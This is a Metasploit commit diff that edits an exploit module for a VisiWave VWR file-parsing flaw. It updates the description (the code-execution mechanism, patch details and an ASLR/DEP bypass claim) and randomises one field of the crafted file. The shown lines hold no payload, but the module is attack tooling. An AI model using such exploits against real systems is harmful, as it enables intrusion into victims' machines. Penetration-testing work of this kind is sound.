Couldn't help but patch-diff it and updated the description again

git-svn-id: file:///home/svn/framework3/trunk@12710 4d416f70-5f16-0410-b530-b9f4589650da
unstable
Wei Chen 2011-05-25 04:45:17 +00:00
parent ecaeac1f6e
commit 0c60fe5a4b
1 changed files with 6 additions and 4 deletions

View File

@ -18,7 +18,7 @@ class Metasploit3 < Msf::Exploit::Remote
def initialize(info = {})
super(update_info(info,
'Name' => 'VisiWave VWR File Parsing Buffer Overflow',
'Name' => 'VisiWave VWR File Parsing Vulnerability',
'Description' => %q{
This module exploits a vulnerability found in VisiWave's Site Survey Report application.
When processing .VWR files, VisiWave.exe attempts to match a valid pointer based on the 'Type'
@ -26,10 +26,12 @@ class Metasploit3 < Msf::Exploit::Remote
'Image'), but if a match isn't found, the function that's supposed to handle this routine
ends up returning the input as a pointer, and later used in a CALL DWORD PTR [EDX+10]
instruction. This allows attackers to overwrite it with any arbitrary value, and results code
execution. This module was built to bypass ASLR and DEP.
execution. A patch is available at visiwave.com; the fix is done by XORing the return value as
null if no match is found, and then it is validated before use.
NOTE: During installation, the application will register two file handle's, VWS and VWR and allows a
victim user to 'double click' the malicious VWR file and execute code.
victim user to 'double click' the malicious VWR file and execute code. This module was also built
to bypass ASLR and DEP.
},
'License' => MSF_LICENSE,
'Author' =>
@ -124,7 +126,7 @@ class Metasploit3 < Msf::Exploit::Remote
vwr_data << "RightMargin: 100\r\n"
vwr_data << "TopMargin: 50\r\n"
vwr_data << "BottomMargin: 50\r\n"
vwr_data << "Item: lol\r\n"
vwr_data << "Item: #{rand_text_alpha(3)}\r\n"
vwr_data << "Checked: 1\r\n"
print_status("Creating '#{datastore['FILENAME']}'...")